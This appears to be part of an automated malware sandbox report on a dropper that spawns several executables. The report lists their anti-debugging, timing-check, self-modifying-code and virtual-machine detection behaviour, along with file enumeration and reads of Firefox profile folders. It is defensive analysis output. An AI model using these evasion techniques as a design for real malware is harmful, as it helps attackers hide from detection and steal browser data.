Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A30B2E second address: 4A30B8F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA57532F868h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007FA57532F861h 0x00000013 xor si, 2D76h 0x00000018 jmp 00007FA57532F861h 0x0000001d popfd 0x0000001e jmp 00007FA57532F860h 0x00000023 popad 0x00000024 xchg eax, ebx 0x00000025 push eax 0x00000026 push edx 0x00000027 push eax 0x00000028 push edx 0x00000029 push eax 0x0000002a push edx 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A30B8F second address: 4A30B93 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A30B93 second address: 4A30BB0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA57532F869h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A30BB0 second address: 4A30BD7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA57532F8E1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push dword ptr [ebp+14h] 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FA57532F8DDh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A30BD7 second address: 4A30BDD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A30BDD second address: 4A30BE1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A30BE1 second address: 4A30BE5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A30BE5 second address: 4A30C04 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push dword ptr [ebp+10h] 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FA57532F8E2h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A40E03 second address: 4A40E31 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA57532F862h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d call 00007FA57532F85Dh 0x00000012 pop eax 0x00000013 mov edx, 50C020B4h 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A40E31 second address: 4A40E3B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov eax, 5E4C627Fh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A40E3B second address: 4A40E5D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov ebp, esp 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FA57532F867h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A40E5D second address: 4A40E80 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA57532F8E9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d mov ch, AFh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A40BA2 second address: 4A40BA6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A40BA6 second address: 4A40BAC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A40BAC second address: 4A40BC9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA57532F869h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AC079F second address: 4AC07BB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA57532F8E8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AC07BB second address: 4AC07C1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AB090F second address: 4AB0913 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 45ED99 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 69FADB instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 45ED99 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 69FADB instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007559001\e6b1d28aa7.exe	Special instruction interceptor: First address: 117499E instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007559001\e6b1d28aa7.exe	Special instruction interceptor: First address: 11748EC instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007559001\e6b1d28aa7.exe	Special instruction interceptor: First address: 1325E4D instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007559001\e6b1d28aa7.exe	Special instruction interceptor: First address: 13A1B8B instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007559001\e6b1d28aa7.exe	Special instruction interceptor: First address: 1311E29 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Special instruction interceptor: First address: 10BB75 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Special instruction interceptor: First address: 2D89F8 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007565001\0a29ef6c7c.exe	Special instruction interceptor: First address: B7FBFC instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007565001\0a29ef6c7c.exe	Special instruction interceptor: First address: B7FCA9 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007565001\0a29ef6c7c.exe	Special instruction interceptor: First address: D21C00 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007565001\0a29ef6c7c.exe	Special instruction interceptor: First address: D4D7CA instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007565001\0a29ef6c7c.exe	Special instruction interceptor: First address: D33CBB instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007567001\9f58872eb6.exe	Special instruction interceptor: First address: C9DF56 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007567001\9f58872eb6.exe	Special instruction interceptor: First address: E725D6 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007567001\9f58872eb6.exe	Special instruction interceptor: First address: EE0462 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Special instruction interceptor: First address: 5E0DF56 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Special instruction interceptor: First address: 5FE25D6 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007567001\9f58872eb6.exe	Special instruction interceptor: First address: CA1744 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Special instruction interceptor: First address: 6050462 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Special instruction interceptor: First address: 5E11744 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Special instruction interceptor: First address: 5F8DF56 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Special instruction interceptor: First address: 61625D6 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Special instruction interceptor: First address: 61D0462 instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\1007567001\9f58872eb6.exe	Memory allocated: 47E0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1007567001\9f58872eb6.exe	Memory allocated: 4980000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1007567001\9f58872eb6.exe	Memory allocated: 6980000 memory reserve \| memory write watch

Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_04AB0BC7 rdtsc

0_2_04AB0BC7

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 180000			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007567001\9f58872eb6.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1214	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1281	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1301	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007559001\e6b1d28aa7.exe	Window / User API: threadDelayed 1750	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007559001\e6b1d28aa7.exe	Window / User API: threadDelayed 1768	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007559001\e6b1d28aa7.exe	Window / User API: threadDelayed 1662	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007566001\dc933f0ab5.exe	Window / User API: threadDelayed 668

Source: C:\Users\user\AppData\Local\Temp\1007559001\e6b1d28aa7.exe

Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\service123.exe

Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\1007566001\dc933f0ab5.exe

API coverage: 3.6 %

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2060	Thread sleep count: 97 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2060	Thread sleep time: -194097s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8188	Thread sleep count: 1214 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8188	Thread sleep time: -2429214s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8172	Thread sleep count: 279 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8172	Thread sleep time: -8370000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2084	Thread sleep count: 87 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2084	Thread sleep time: -174087s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3120	Thread sleep count: 1281 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3120	Thread sleep time: -2563281s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2472	Thread sleep time: -720000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2476	Thread sleep count: 1301 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2476	Thread sleep time: -2603301s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007559001\e6b1d28aa7.exe TID: 4500	Thread sleep count: 75 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007559001\e6b1d28aa7.exe TID: 4500	Thread sleep time: -150075s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007559001\e6b1d28aa7.exe TID: 5956	Thread sleep count: 71 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007559001\e6b1d28aa7.exe TID: 5956	Thread sleep time: -142071s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007559001\e6b1d28aa7.exe TID: 2588	Thread sleep time: -36000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007559001\e6b1d28aa7.exe TID: 1508	Thread sleep count: 67 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007559001\e6b1d28aa7.exe TID: 1508	Thread sleep time: -134067s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007559001\e6b1d28aa7.exe TID: 7220	Thread sleep count: 1750 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007559001\e6b1d28aa7.exe TID: 7220	Thread sleep time: -3501750s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007559001\e6b1d28aa7.exe TID: 7196	Thread sleep count: 1768 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007559001\e6b1d28aa7.exe TID: 7196	Thread sleep time: -3537768s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007559001\e6b1d28aa7.exe TID: 4108	Thread sleep count: 1662 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007559001\e6b1d28aa7.exe TID: 4108	Thread sleep time: -3325662s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe TID: 4584	Thread sleep time: -36018s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe TID: 7368	Thread sleep time: -270000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe TID: 7876	Thread sleep time: -34017s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe TID: 7872	Thread sleep time: -42021s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe TID: 4324	Thread sleep time: -52026s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe TID: 7968	Thread sleep time: -40000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe TID: 7880	Thread sleep time: -54027s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe TID: 6464	Thread sleep time: -150000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe TID: 7868	Thread sleep time: -42021s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe TID: 2336	Thread sleep time: -48024s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe TID: 7848	Thread sleep time: -42021s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1007567001\9f58872eb6.exe TID: 3052	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1007565001\0a29ef6c7c.exe TID: 4296	Thread sleep count: 151 > 30
Source: C:\Users\user\AppData\Local\Temp\1007565001\0a29ef6c7c.exe TID: 4296	Thread sleep time: -906000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe TID: 984	Thread sleep time: -180000s >= -30000s

Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Users\user\AppData\Local\Temp\1007565001\0a29ef6c7c.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\file.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1007566001\dc933f0ab5.exe	Code function: 11_2_0073DBBE lstrlenW,GetFileAttributesW,FindFirstFileW,FindClose,	11_2_0073DBBE
Source: C:\Users\user\AppData\Local\Temp\1007566001\dc933f0ab5.exe	Code function: 11_2_007468EE FindFirstFileW,FindClose,	11_2_007468EE
Source: C:\Users\user\AppData\Local\Temp\1007566001\dc933f0ab5.exe	Code function: 11_2_0074698F FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToSystemTime,FileTimeToSystemTime,	11_2_0074698F
Source: C:\Users\user\AppData\Local\Temp\1007566001\dc933f0ab5.exe	Code function: 11_2_0073D076 FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	11_2_0073D076
Source: C:\Users\user\AppData\Local\Temp\1007566001\dc933f0ab5.exe	Code function: 11_2_0073D3A9 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	11_2_0073D3A9
Source: C:\Users\user\AppData\Local\Temp\1007566001\dc933f0ab5.exe	Code function: 11_2_00749642 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	11_2_00749642
Source: C:\Users\user\AppData\Local\Temp\1007566001\dc933f0ab5.exe	Code function: 11_2_0074979D SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	11_2_0074979D
Source: C:\Users\user\AppData\Local\Temp\1007566001\dc933f0ab5.exe	Code function: 11_2_00749B2B FindFirstFileW,Sleep,FindNextFileW,FindClose,	11_2_00749B2B
Source: C:\Users\user\AppData\Local\Temp\1007566001\dc933f0ab5.exe	Code function: 11_2_00745C97 FindFirstFileW,FindNextFileW,FindClose,	11_2_00745C97

Source: C:\Users\user\AppData\Local\Temp\1007566001\dc933f0ab5.exe

Code function: 11_2_006D42DE GetVersionExW,GetCurrentProcess,IsWow64Process,LoadLibraryA,GetProcAddress,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

11_2_006D42DE

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007567001\9f58872eb6.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\AppData\Local\Temp\1007559001\e6b1d28aa7.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cache2\entries\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007559001\e6b1d28aa7.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007559001\e6b1d28aa7.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007559001\e6b1d28aa7.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cache2\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007559001\e6b1d28aa7.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007559001\e6b1d28aa7.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cache2\doomed\	Jump to behavior

Source: skotes.exe, skotes.exe, 00000002.00000002.1812492795.00000000005F5000.00000040.00000001.01000000.00000007.sdmp, 2bfd73b1c9.exe, 2bfd73b1c9.exe, 00000008.00000002.2850442003.0000000000293000.00000040.00000001.01000000.0000000A.sdmp, 2bfd73b1c9.exe, 00000008.00000001.2471697529.0000000000293000.00000040.00000001.01000000.0000000A.sdmp, 2bfd73b1c9.exe, 00000008.00000002.2886213597.0000000005F97000.00000040.00000800.00020000.00000000.sdmp, 0a29ef6c7c.exe, 0a29ef6c7c.exe, 0000000A.00000002.2929100670.0000000000D04000.00000040.00000001.01000000.0000000B.sdmp, 9f58872eb6.exe, 0000001D.00000002.2793824754.0000000000E27000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: file.exe, 00000000.00000003.1737901199.00000000009E0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: 2bfd73b1c9.exe, 00000008.00000002.2878434737.00000000053E0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\\?\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\
Source: 2bfd73b1c9.exe, 00000008.00000002.2855523156.0000000000CC5000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2820304960.0000017A4E217000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2820304960.0000017A4E1E0000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2789371723.0000022EC791A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: firefox.exe, 0000001C.00000002.2841526725.0000017A57EB4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2797760640.0000022EC7E1A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW : 2 : 34 : 1 : 1 : 0x20026 : 0x8 : %SystemRoot%\system32\mswsock.dll : : 1234191b-4bf7-4ca7-86e0-dfd7c32b5445
Source: 2bfd73b1c9.exe, 00000008.00000002.2855523156.0000000000C8A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW`'
Source: 2bfd73b1c9.exe, 00000008.00000002.2855523156.0000000000D24000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\
Source: file.exe, 00000000.00000002.1767950889.00000000005F5000.00000040.00000001.01000000.00000003.sdmp, skotes.exe, 00000001.00000002.1804180460.00000000005F5000.00000040.00000001.01000000.00000007.sdmp, skotes.exe, 00000002.00000002.1812492795.00000000005F5000.00000040.00000001.01000000.00000007.sdmp, 2bfd73b1c9.exe, 00000008.00000002.2850442003.0000000000293000.00000040.00000001.01000000.0000000A.sdmp, 2bfd73b1c9.exe, 00000008.00000001.2471697529.0000000000293000.00000040.00000001.01000000.0000000A.sdmp, 2bfd73b1c9.exe, 00000008.00000002.2886213597.0000000005F97000.00000040.00000800.00020000.00000000.sdmp, 0a29ef6c7c.exe, 0000000A.00000002.2929100670.0000000000D04000.00000040.00000001.01000000.0000000B.sdmp, 9f58872eb6.exe, 0000001D.00000002.2793824754.0000000000E27000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: firefox.exe, 0000001E.00000002.2789371723.0000022EC791A000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2799454411.0000022EC8240000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: firefox.exe, 0000001E.00000002.2799454411.0000022EC8240000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll$
Source: chrome.exe, 0000001F.00000002.2763059069.0000025D1053D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll99

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007559001\e6b1d28aa7.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007565001\0a29ef6c7c.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1007567001\9f58872eb6.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1007565001\0a29ef6c7c.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Thread information set: HideFromDebugger

Tries to detect sandboxes and other dynamic analysis tools (window names)

